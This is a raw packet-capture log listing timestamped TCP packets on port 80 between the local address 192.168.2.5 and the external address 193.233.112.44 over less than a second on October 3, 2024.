Oct 3, 2024 23:17:02.379086018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.379098892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.379133940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.379139900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.379174948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.379582882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.379630089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.379833937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.379864931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.379877090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.379915953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495312929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495381117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495436907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495470047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495482922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495517015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495522976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495558023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495568991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495592117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495595932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495631933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495647907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495682955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495690107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495719910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.495722055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.495759964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.496407032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.496458054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.496460915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.496495962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.496500015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.496536970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.496591091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.496625900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.496638060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.496665001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.497349024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.497400045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.497431993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.497466087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.497478962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.497505903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.497550011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.497582912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.497601032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.497626066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.498245955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.498296022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.498383045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.498430967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.585604906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.585637093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.585710049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.587265015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.611812115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.611869097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612061977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612113953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612117052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612150908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612157106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612190008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612202883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612236977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612243891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612270117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612272978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612304926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612308025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612339020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612341881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612375975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612530947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612579107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612608910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612642050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612656116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612679958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612704992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.612742901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.612998009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613044977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613049984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613085032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613090992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613123894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613212109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613245010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613260031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613277912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613279104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613313913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613318920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613352060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613919020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.613965988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.613976002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614010096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614015102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614048958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614131927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614165068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614188910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614197969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614204884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614233017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614238024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614273071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614850998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614901066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614903927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614938021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.614945889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.614974976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.615077019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.615113974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.615125895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.615149021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.615151882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.615185022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.615189075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.615225077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.615751982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.615797043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.615832090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.615849018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.615874052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.615894079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.616005898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.616022110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.616038084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.616050005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.616054058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.616070032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.616090059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.616666079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.616708994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.616724968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.616740942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.616779089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.616779089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.635524988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.635560989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.635591984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.635592937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.635615110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.635632038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.728714943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.728779078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.728811026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.728847027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.728907108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.728951931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.728952885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729000092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729007006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729041100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729055882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729074955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729085922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729118109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729147911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729192972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729217052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729249954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729259968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729294062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729377985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729410887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729422092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729448080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729450941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729487896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729516983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729562998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729628086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729661942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729677916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729698896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729779959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729813099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729830027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729846954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729851007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729882956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.729888916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.729923010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730062008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730097055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730114937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730133057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730134010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730175018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730395079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730427980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730443001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730462074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730468988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730500937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730591059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730626106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730640888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730659962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730659008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730695009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730700016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730730057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730734110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730765104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730771065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730801105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.730803967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730842113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.730962038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731012106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731025934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731066942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731293917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731344938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731348038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731390953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731401920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731451988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731487989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731520891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731535912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731554031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731560946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731589079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731592894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731628895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731646061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731679916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731693983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731719971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731825113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731857061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731872082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731889963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.731897116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.731929064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732287884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732321978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732336998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732357979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732362032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732398033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732446909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732480049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732494116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732513905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732518911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732548952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732553959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732584953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732589006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732624054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732666969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732701063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732712984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732733965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732744932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732769966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.732774973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.732810020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733222961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733272076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733275890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733309984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733319044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733349085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733439922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733473063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733488083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733505964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733509064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733541012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733546019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733580112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733711958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733746052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733760118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733779907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733788967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733814955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733820915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733849049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.733853102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.733889103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.734548092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.734580994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.734596968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.734616041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.734622002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.734652042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.734656096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.734697104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819546938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819590092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819674015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819726944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819756985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819761038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819756985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819756985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819797039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819813967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819813967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819845915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819855928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819910049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819910049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819945097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819961071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.819979906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.819991112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.820014954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.820028067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.820049047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.820066929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.820086002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.820091963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.820122957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.820135117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.820159912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.820168018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.820199966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.820210934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.820230007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.820242882 CEST	49710	80	192.168.2.5	193.233.112.44
